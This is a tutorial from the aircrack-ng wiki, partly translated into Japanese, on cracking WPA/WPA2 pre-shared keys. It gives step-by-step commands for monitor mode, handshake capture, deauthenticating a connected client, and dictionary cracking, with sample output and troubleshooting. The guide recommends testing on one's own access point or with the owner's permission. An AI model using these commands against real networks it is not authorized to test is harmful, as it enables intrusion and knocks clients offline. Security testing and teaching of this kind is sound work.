文書の過去の版を表示しています。
目次
チュートリアル: WPA/WPA2 のクラッキング方法について
Version: 1.20 March 07, 2010
By: darkAudax
Translated by: nao on January 08, 2011
最初に
このチュートリアルは事前共有鍵を用いるWPA/WPA2ネットワークをクラッキングするためのものです。WPA/WPA2とは何かということをご存じの上で行われることを推奨します。リンク集 Wiki にはは WPA/WPA2 セクション があります。WPAについての詳細はこちらWi-Fi Security - WEP, WPA and WPA2をご覧ください。こちらはPDFダウンロードへのリンクです。 またこちらWPA Packet Capture Explained tutorialも併せてご覧ください。
WPA/WPA2には事前共有鍵以外にも様々なタイプの認証方式が備わっています。aircrack-ngは事前共有鍵にたいしてのみ有効です。従って、airodump-ngではauthentication typeがPSKとなっているネットワークが表示されていることを確認してください。そうしないと、そもそもクラックできないネットワークに挑戦し、クラックできないことに悩むことになってしまいます。
WPA/WPA2とWEPではクラッキングに関して重要な違いがあります。これは以前のWPA/WPA2事前共有鍵のクラッキングへのアプローチです。WEPとは異なり、クラッキングプロセスの速度向上のために統計的な手法が用いられるものの、WPA/AP2に対しては単純な辞書攻撃が用いられています。鍵が固定でないため、WEP暗号をクラックする時のようにIV(初期化ベクタ)を大量に収集しても一向に速度が向上しません。クライアントとアクセスポイント間のハンドシェイクのみが攻撃のきっかけとなる情報を与えてくれます。事実ではない点も含まれますが、このチュートリアルの目的から考えれば、事実と考えていただいて差し支えありません。事前共有鍵は8から63文字長で構成されているため、現実的にはクラックが不可能です。
事前共有鍵をクラックできるケースとしては、鍵が辞書に含まれている言葉を用いている場合と比較的短い鍵を用いている場合です。逆に言えば、自宅の無線ネットワークをクラックされないためには、WPA/WPA2を用い、特殊な文字を含むランダムな63文字のパスワードを設定することです。
辞書攻撃を用いる影響は計りしれません。それは非常にコンピュータ集約的であり、CPUに依存するため、1秒間に試せるのはせいぜい50から300キーほどだからです。
# 訳者注
# 原文では1秒間に50から300と記載されていますが、最近ではそんなに遅くは無いかと思います。
大きな辞書でごりごりクラッキングするには何日とはかからなくても、数時間はかかります。自分のパスワードを作成する際、まずここ brute force time calculator をチェックすることをおすすめします。辞書攻撃に必要な時間の少なさに驚くかと思います。
重要つまりWPA/WPA2を破るには辞書に含まれている文字列が使われてなければなりません。辞書に含まれていなければ、aircrack-ngは鍵を特定することができません。
クラッキングするにあたり、WPAかWPA2であるかは大きな違いではありません。認証方式は基本的に同じです。従って、方法は全く同じです。
ここでの考え方やテクニックになれるためにはご自宅のアクセスポイントで実験してみることをおすすめします。ご自身で管理されているアクセスポイントをお持ちでない場合は、所有者に許可を取ってから行うようにしてください。
このような強力なツールを生み出してくれたAircrack-ng teamに対して感謝をいたします。
前向きであるかないかに関わらず、建設的なフィードバックをお待ちしています。トラブルシューティングのアイデアやテクニックも大いに歓迎です。
前提条件
まず、以下の条件を前提とします: * Injectionパッチの当たったドライバを用いる。injection testで確認できます。 * アクセスポイントに対してパケットを送受するのに物理的に十分近い場所にいること。アクセスポイントからパケットを受け取れるからといって、パケットを遅れるとは限りません。一般的な無線LANカードはアクセスポイントほど強い電波を発しません。そのため、あなたのクライアントからアクセスポイントや他のワイヤレスクライアントに対してパケットを送ったり受け取るためには物理的に十分近づく必要があります。この方法で特定のアクセスポイントと通信できているかどうかを確認できます。 * aircrack-ngのv0.9.1以上を使う。他のバージョンではコマンドオプションが違うかもしれません。
上記の条件を満たしていても、下記の通り動かない場合があります。以下の例中で用いられている“ath0”をあなたが利用している無線LANカードのインターフェース名に変更する必要があります。
無線LAN機器の設定値
このチュートリアルでは以下の値を用いています:
- aircrack-ngスイートを動かしているPCのMACアドレス:00:0F:B5:88:AC:82
- WPA2を利用している無線LANクライアントのMACアドレス:00:0F:B5:FD:FB:C2
- BSSID (アクセスポイントのMACアドレス): 00:14:6C:7E:40:80
- ESSID (無線LAN名): teddy
- アクセスポイントのチャンネル: 9
- 無線LANインターフェース: ath0
あなたが試そうとしているネットワークについても上記と同等の情報を集めなくてはなりません。その上で、以下の例中の値を読み替えてください。
Solution
Solution Overview
The objective is to capture the WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.
This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don't actually need injection capability and thus the Windows version of aircrack-ng can be used.
Here are the basic steps we will be going through:
- Start the wireless interface in monitor mode on the specific AP channel
- Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
- Use aireplay-ng to deauthenticate the wireless client
- Run aircrack-ng to crack the pre-shared key using the authentication handshake
Step 1 - Start the wireless interface in monitor mode
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step.
The exact procedure for enabling monitor mode varies depending on the driver you are using. To determine the driver (and the correct procedure to follow), run the following command:
airmon-ng
On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:
Interface Chipset Driver rausb0 Ralink RT73 rt73 wlan0 Broadcom b43 - [phy0] wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0)
The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver. Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won't work with v0.9.1. Both entries of the Atheros card show “madwifi-ng” as the driver - follow the madwifi-ng-specific steps to set up the Atheros card. Finally, the Ralink shows neither of these indicators, so it is using an ieee80211 driver - see the generic instructions for setting it up.
Step 1a - Setting up madwifi-ng
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Step 1b - Setting up mac80211 drivers
Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers. Instead, use the following command to set up your card in monitor mode on channel 9:
airmon-ng start wlan0 9
The system responds:
Interface Chipset Driver wlan0 Broadcom b43 - [phy0] (monitor mode enabled on mon0)
Notice that airmon-ng enabled monitor-mode on mon0. So, the correct interface name to use in later parts of the tutorial is mon0. Wlan0 is still in regular (managed) mode, and can be used as usual, provided that the AP that wlan0 is connected to is on the same channel as the AP you are attacking, and you are not performing any channel-hopping.
To confirm successful setup, run “iwconfig”. The following output should appear:
lo no wireless extensions.
eth0 no wireless extensions. wmaster0 no wireless extensions. wlan0 IEEE 802.11bg ESSID:"" Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm Retry min limit:7 RTS thr:off Fragment thr=2352 B Encryption key:off Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz). Unlike madwifi-ng, the monitor interface has no Access Point field at all. Also notice that wlan0 is still present, and in managed mode - this is normal. Because both interfaces share a common radio, they must always be tuned to the same channel - changing the channel on one interface also changes channel on the other one.
Step 1c - Setting up other drivers
For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):
airmon-ng start rausb0 9
The system responds:
Interface Chipset Driver rausb0 Ralink rt73 (monitor mode enabled)
At this point, the interface should be ready to use.
Step 2 - Start airodump-ng to collect authentication handshake
The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.
Enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Where:
- -c 9 is the channel for the wireless network
- -
-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
- -w psk is the file name prefix for the file which will contain the IVs.
- ath0 is the interface name.
Important: Do NOT use the “--ivs” option. You must capture the full packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes
Troubleshooting Tip
See the Troubleshooting Tips section below for ideas.
To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for “ WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.
Use Wireshark and apply a filter of “eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.
Step 3 - Use aireplay-ng to deauthenticate the wireless client
This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.
This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish)
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
- ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way handshake.
Troubleshooting Tips
- The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
Step 4 - Run aircrack-ng to crack the pre-shared key
The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.
There is a small dictionary that comes with aircrack-ng - “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.
Open another console session and enter:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where:
- -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
- *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.
Here is typical output when there are no handshakes found:
Opening psk-01.cap Opening psk-02.cap Opening psk-03.cap Opening psk-04.cap Read 1827 packets. No valid WPA handshakes found.
When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.
Here is typical output when handshakes are found:
Opening psk-01.cap Opening psk-02.cap Opening psk-03.cap Opening psk-04.cap Read 1827 packets. # BSSID ESSID Encryption 1 00:14:6C:7E:40:80 teddy WPA (1 handshake) Choosing first network as target.
Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.
Here is what successfully cracking the pre-shared key looks like:
Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
Troubleshooting Tips
I Cannot Capture the Four-way Handshake!
It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:
- Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in “B” mode and the client/AP were using “G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be “turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option “modulation” that can sometimes be used. Do “man iwconfig” to see the options for “modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
- Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
- Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying “-c <channel of AP>” when you start airodump-ng.
- Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
- You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
- Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
- Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
- Ideally, connect and disconnect a wireless client normally to generate the handshake.
- If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive number of deauth packets may cause the client to fail to reconnect and thus it will not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
- Try stopping the radio on the client station then restarting it.
- Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
- Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.
Unfortunately, sometimes you need to experiment a bit to get your card to properly capture the four-way handshake. The point is, if you don't get it the first time, have patience and experiment a bit. It can be done!
Another approach is to use Wireshark to review and analyze your packet capture. This can sometimes give you clues as to what is wrong and thus some ideas on how to correct it. The WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a “normal” WPA connection looks like. As well, see the FAQ for detailed information on how to use Wireshark.
In an ideal world, you should use a wireless device dedicated to capturing the packets. This is because some drivers such as the RTL8187L driver do not capture packets the card itself sends. Also, always use the driver versions specified on the wiki. This is because some older versions of the drivers such as the RT73 driver did not capture client packets.
When using Wireshark, the filter “eapol” will quickly display only the EAPOL packets. Based on what EAPOL packets are actually in the capture, determine your correction plan. For example, if you are missing the client packets then try to determine why and how to collect client packets.
To dig deep into the packet analysis, you must start airodump-ng without a BSSID filter and specify the capture of the full packet, not just IVs. Needless to say, it must be locked to the AP channel. The reason for eliminating the BSSID filter is to ensure all packets including acknowledgments are captured. With a BSSID filter, certain packets are dropped from the capture.
Every packet sent by client or AP must be acknowledged. This is done with an “acknowledgment” packet which has a destination MAC of the device which sent the original packet. If you are trying to deauthenticate a client, one thing to check is that you receive the “ack” packet. This confirms the client received the deauth packet. Failure to receive the “ack” packet likely means that the client is out of transmission range. Thus failure.
When it comes to analyzing packet captures, it is impossible to provide detailed instructions. I have touched on some techniques and areas to look at. This is an area which requires effort to build your skills on both WPA/WPA2 plus how to use Wireshark.
aircrack-ng says "0 handshakes"
Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.
aircrack-ng says "No valid WPA handshakes found"
Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.